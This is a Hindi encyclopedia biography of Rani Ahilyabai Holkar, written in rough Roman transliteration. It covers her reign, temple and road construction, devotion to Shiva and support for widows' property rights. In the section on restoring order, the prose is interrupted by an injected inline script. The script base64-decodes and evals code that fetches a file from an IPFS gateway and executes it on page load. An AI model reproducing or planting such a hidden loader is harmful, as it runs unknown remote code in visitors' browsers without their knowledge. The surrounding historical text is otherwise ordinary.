अहिल्याबाई होल्कर

ahilyabaee holkar
[[chitr:Ahilyabai-Holkar-Statue-Mathura.jpg|ahilyabaee holkar pratima, mathura|200px|center]]
poora nam	rani ahilyabaee holkar
janm	31 mee sanh 1725 ee.
janm bhoomi	chaanoodi gaanv (chaandav d), ahamadanagar, maharashtr
mrityu	13 agast sanh 1795 ee.
abhibhavak	manakoji shiande (pita)
pati/patni	khanderav
santan	malerav (putr) aur muktabaee (putri)
karm bhoomi	bharat
vishesh yogadan	rani ahilyabaee ne kalakatta se banaras tak ki s dak, banaras mean annapoorna ka mandir, gaya mean vishnu mandir banavaye. isake atirikt inhoanne ghat banavae, kuoan aur bav diyoan ka nirman karavaya, marg banavae, bhookhoan ke lie sadabrat (annakshetr ) khole, pyasoan ke lie pyaoo bithalaeean, mandiroan mean vidvanoan ki niyukti shastroan ke manan-chiantan aur pravachan hetu ki.
nagarikata	bharatiy
vishesh	is mahanh shasika ke lie ek shraddhaanjali ke roop mean iandaur ghareloo havaee adadeh ka nam devi ahilyabaee holkar havaee adda rakha gaya. isi tarah iandaur vishvavidyalay ko devi ahilya vishvavidyalay nam diya gaya hai.
any janakari	ahilyabaee ko ek darshanik rani ke roop mean bhi jana jata hai. ahilyabaee ek mahanh aur dharmaparayan stri thi. vah hiandoo dharm ko manane vali thi aur bhagavan shiv ki b di bhakt thi.

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maharani ahilyabaee holkar (aangrezi: Maharani Ahilyabai Holkar, janm: 31 mee, 1725; mrityu: 13 agast, 1795) malhararav holkar ke putr khanderav ki patni thian. ahilyabaee kisi b de rajy ki rani nahian thian, lekin apane rajy kal mean unhoanne jo kuchh kiya vah ashcharyachakit karane vala hai. vah ek bahadur yoddha aur kushal tirandaj thian. unhoanne kee yuddhoan mean apani sena ka netritv kiya aur hathi par savar hokar virata ke sath l dian.

jivan parichay

ahilyabaee ka janm 31 mee sanh 1725 mean hua tha. ahilyabaee ke pita manakoji shiande ek mamooli kiantu sanskar vale adami the. inaka vivah indaur rajy ke sansthapak maharaj malhararav holkar ke putr khanderav se hua tha. sanh 1745 mean ahilyabaee ke putr hua aur tin varsh bad ek kanya. putr ka nam malerav aur kanya ka nam muktabaee rakha. unhoanne b di kushalata se apane pati ke gaurav ko jagaya. kuchh hi dinoan mean apane mahanh pita ke margadarshan mean khanderav ek achchhe sipahi ban gaye. malhararav ko bhi dekhakar santosh hone laga. putr-vadhoo ahilyabaee ko bhi vah rajakaj ki shiksha dete rahate the. unaki buddhi aur chaturaee se vah bahut prasann hote the. malhararav ke jivan kal mean hi unake putr khanderav ka nidhan 1754 ee. mean ho gaya tha. atah malhar rav ke nidhan ke bad rani ahilyabaee ne rajy ka shasan-bhar sambhala tha. rani ahilyabaee ne 1795 ee. mean apani mrityu paryant b di kushalata se rajy ka shasan chalaya. unaki ganana adarsh shasakoan mean ki jati hai. ve apani udarata aur prajavatsalata ke lie prasiddh haian. unake ek hi putr tha malerav jo 1766 ee. mean divangat ho gaya. 1767 ee. mean ahilyabaee ne tukoji holkar ko senapati niyukt kiya. [[chitr:Ahilyabai-Holkar-Stamp.jpg|thumb|left|ahilyabaee holkar ke samman mean jari bharatiy dak tikat]]

nirman kary

rani ahilyabaee ne bharat ke bhinn-bhinn bhagoan mean anek mandiroan, dharmashalaoan aur annasatroan ka nirman karaya tha. kalakatta se banaras tak ki s dak, banaras mean annapoorna ka mandir , gaya mean vishnu mandir unake banavaye hue haian. inhoanne ghat bandhavae, kuoan aur bav diyoan ka nirman karavaya, marg banavae, bhookhoan ke lie sadabrat (annakshetr ) khole, pyasoan ke lie pyaoo bithalaeean, mandiroan mean vidvanoan ki niyukti shastroan ke manan-chiantan aur pravachan hetu ki. unhoanne apane samay ki halachal mean pramukh bhag liya. rani ahilyabaee ne isake alava kashi, gaya, somanath, ayodhya, mathura, haridvar, dvarika, badrinarayan, rameshvar, jagannath puri ityadi prasiddh tirthasthanoan par mandir banavae aur dharm shalaean khulavayian. kaha jata hai ki rani ahilh‍yabaee ke sh‍vaph‍n mean ek bar bhagavan shiv ae. ve bhagavan shiv ki bhakt thian aur isalie unh‍hoanne 1777 mean vishv prasiddh kashi vishvanath mandir ka nirman karaya.

shiv ji ki bhakt

unaka sara jivan vairagy, karttavy-palan aur paramarth ki sadhana ka ban gaya. bhagavan shiv ki vah b di bhakt thian. bina unake poojan ke muanh mean pani ki booand nahian jane deti thian. sara rajy unhoanne shankar ko arpit kar rakha tha aur ap unaki sevika banakar shasan chalati thi. 'sanpati sab raghupati ke ahi'—sari sanpatti bhagavan ki hai, isaka bharat ke bad pratyaksh aur ekamatr udaharan shayad vahi thian. rajajnaoan par hastakshar karate samay apana nam nahian likhati thian. niche keval shri shankar likh deti thian. unake rupayoan par shankar ka liang aur bilv patr ka chitr aankit hai or paisoan par nandi ka. tab se lekar bharatiy svarajy ki prapti tak iandaur ke sianhasan par jitane naresh unake bad mean aye sabaki rajajnaaian jab tak ki shrishankar ajna jari nahian hoti, tab tak vah rajajna nahian mani jati thi aur us par amal bhi nahian hota tha. ahilyabaee ka rahan-sahan bilkul sada tha. shuddh safed vastr dharan karati thian. jevar adi kuchh nahian pahanati thi. bhagavan ki pooja, achchhe granthoan ko sunana or rajakaj adi mean niyamit rahati thi.

shaanti aur suraksha ki sthapana

chitr:Blockquote-open.gif malhararav holkar ke jivan kal mean hi unake putr khanderav ka nidhan 1754 ee. mean ho gaya tha. atah malhar rav ke nidhan ke bad rani ahilyabaee ne rajy ka shasan-bhar sambhala tha. rani ahilyabaee ne 1795 ee. mean apani mrityu paryant b di kushalata se rajy ka shasan chalaya. unaki ganana adarsh shasakoan mean ki jati hai. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shasan ki bagador jab ahilyabaee ne apane hath mean li, rajy mean b di ashaanti thi. chor, dakoo adi ke upadravoan se log bahut tang the. aisi halat mean unhoanne dekha ki raja ka sabase pahala karttavy upadrav karane valoan ko kaboo mean lakar praja ko nirbhayata aur shaanti pradan karana hai. upadravoan mean bhiloan ka khas hath tha. unhoanne darabar kiya aur apane sare saradaroan aur praja ka dhyan is or dilate hue ghoshana ki—'jo vir purush in upadravi logoan ko kaboo mean le avega, usake sath maian apani l daki muktabaee ki shadi kar dooangi.' is ghoshana ko sunakar yashavantarav phanase namak ek yuvak utha aur usane b di namrata se ahilyabaee se kaha ki vah yah kam kar sakata hai. maharani bahut prasann huee. yashavantarav apane kam mean lag gaye aur bahut tho de samay mean unhoanne sare rajy mean shaanti ki sthapana kar di. maharani ne b di prasannata aur b de samaroh ke sath muktabaee ka vivah yashavantarav phanase se kar diya. isake bad ahilyabaee ka dhyan shasan ke bhitari sudharoan ki taraph gaya. rajy mean shaanti aur suraksha ki sthapana hote hi vyapar-vyavasay aur kala-kaushal ki badhottari hone lagi aur logoan ko jnan ki upasana ka avasar bhi milane laga. narmada ke tir par maheshvari unaki rajadhani thi. vahaan tarah-tarah ke karigar ane lage or shighr hi vastr-nirman ka vah ek suandar keandr ban gaya. [[chitr:Ahilyabai-Holkar-Statue-Mathura-2.jpg|thumb|250px|ahilyabaee holkar pratima, mathura]] rajy ke vistar ko vyavasthit karake use tahasiloan aur ziloan mean baant diya gaya or praja ki tatha shasan ki suvidha ko dhyan mean rakhate hue tahasiloan aur ziloan ke kedr qayam karake jahaan-jahaan avashyakata pratit huee, nyayalayoan ki sthapana bhi kar di gee. rajy ki sari panchayatoan ke kam ko vyavasthit kiya aur nyay pane ki sidhiyaan bana di geean. akhiri apil mantri sunate the. parantu yadi unake phaisale se kisi ko santosh n hota to maharani khud bhi apil sunati thi.

senapati ke roop mean

malhararav ke bhaee-bandoan mean tukojirav holkar ek vishvasapatr yuvak the. malhararav ne unhean bhi sada apane sath mean rakha tha aur rajakaj ke lie taiyar kar liya tha. ahilyabaee ne inhean apana senapati banaya aur chauth vasool karane ka kam unhean sauanp diya. vaise to umr mean tukojirav holkar ahilyabaee se b de the, parantu tukoji unhean apani mata ke saman hi manate the aur rajy ka kam poori lagan or sachchaee ke sath karate the. ahilyabaee ka un par itana prem aur vishvas tha ki vah bhi unhean putr jaisa manati thian. rajy ke kagazoan mean jahaan kahian unaka ullekh ata hai vahaan tatha muharoan mean bhi 'khandoji sut tukoji holkar' is prakar kaha gaya hai.

mahila sashaktikaran ki pakshadhar

bharatiy sanskriti mean mahilaoan ko durga aur chandi ke roop mean darshaya gaya hai. thik isi tarah ahilyabaee ne striyoan ko unaka uchit sthan diya. narishakti ka bharapoor upayog kiya. unhoanne yah bata diya ki stri kisi bhi sthiti mean purush se kam nahian hai. ve svayan bhi pati ke sath ranakshetr mean jaya karati thian. pati ke dehant ke bad bhi ve yudhd kshetr mean utarati thian aur senaoan ka netritv karati thian. ahilyabaee ke gaddi par baithane ke pahale shasan ka aisa niyam tha ki yadi kisi mahila ka pati mar jae aur usaka putr n ho to usaki sanpoorn sanpatti rajakosh mean jama kar di jati thi, parantu ahilya baee ne is qanoon ko badal diya aur mritak ki vidhava ko yah adhikar diya ki vah pati dvara chho di huee sanpatti ki varis rahegi aur apani ichchhanusar apane upayog mean lae aur chahe to usaka sukh bhoge ya apani sanpatti se janakalyan ke kam kare. ahilya baee ki khas vishesh sevak ek mahila hi thi. apane shasanakal mean unhoanne nadiyoan par jo ghat snan adi ke lie banavae the, unamean mahilaoan ke lie alag vyavastha bhi hua karati thi. striyoan ke man-samman ka b da dhyan rakha jata tha. l dakiyoan ko padhane-likhane ka jo gharoan mean tho da-sa chalan tha, use vistar diya gaya. dan-dakshina dene mean mahilaoan ka ve vishesh dhyan rakhati thian.

kuchh udaharan

• ek samay bundelakhand ke chanderi mukam se ek achchha ‘dhoti-jo da’ aya tha, jo us samay bahut prasiddh hua karata tha. ahilya baee ne use svikar kiya. us samay ek sevika jo vahaan maujood thi vah dhoti-jo de ko b di lalachaee najaroan se dekh rahi thi. ahilyabaee ne jab yah dekha to us kimati jo de ko us sevika ko de diya.
• isi prakar ek bar unake damad ne pooja-archana ke lie kuchh bahumooly samagri bheji thi. us saman ko ek kamazor bhikharin jisaka nam tha sindoori, use de diya. kisi sevika ne yad dilaya ki is saman ki zaroorat apako bhi hai parantu unhoanne yah kahakar sevika ki bat ko nakar diya ki unake pas aur haian.

kisi mahila ka pairoan par gir p dana ahilya baee ko pasand nahian tha. ve turant apane donoan hathoan ka sahara dekar use utha liya karati thian. unake sir par hath pheratian aur dhadhas bandhati. rone vali striyoan ko ve unake aansuoan ko rokane ke lie kahatian, aansuoan ko sanbhalakar rakhane ka upadesh detian aur uchit samay par unake upayog ki bat kahatian. us samay kisi purush ki maujoodagi ko ve achchha nahian samajhati thian. yadi koee purush kisi karan maujood bhi hota to ve use kisi bahane vahaan se hat jane ko kah detian. is prakar ek mahila ki vyatha, usaki bhavana ko ekaant mean sunatian, samajhatian thian. yadi koee kathinaee ya koee samasya hoti to use hal kar detian athava usaki vyavastha karavatian. mahilaoan ko ekaant mean apani bat khulakar kahane ka adhikar tha. rajy ke dooradaraj ke kshetroan ka daura karana, vahaan praja ki batean, unaki samasyaean sunana, unaka hal talash karana unhean bahut bhata tha. ahilyabaee, jo apane lie pasand karati thian, vahi doosaroan ke lie pasand karati thian. isalie visheshataur par mahilaoan ko tyagamay upadesh bhi diya karati thian.

• ek bar holkar rajy ki do vidhavaean ahilyabaee ke pas aeean, donoan b di dhanavan thian, parantu donoan ke pas koee santan nahian thi. ve ahilyabaee se prabhavit thian. apani apar sanpatti ahilyabaee ke charanoan mean arpit karana chahati thian. sanpatti nyochhavar karane ki ajna maangi, parantu unhoanne un donoan ko yah kahakar mana kar diya ki jaise maianne apani sanpatti janakalyan mean lagaee hai, usi prakar tum bhi apani sanpatti ko janahit mean lagao. un vidhavaoan ne aisa hi kiya aur ve dhany ho geean.

mrityu

rajy ki chianta ka bhar aur us par pranoan se bhi pyare logoan ka viyog. is sare shok-bhar ko ahilyabaee ka sharir adhik nahian sanbhal saka. aur 13 agast sanh 1795 ko unaki jivan-lila samapt ho gee. ahilyabaee ke nidhan ke bad tukoji indaur ki gaddi par baitha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• ahilyabaee
• ahilyabaee : sahityakaroan ki najar mean
• ahilyabaee : gret maratha mahila
• ahilyabaee ki jivan katha

sanbandhit lekh

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1. REDIRECT saancha:raniyaan aur maharaniyaan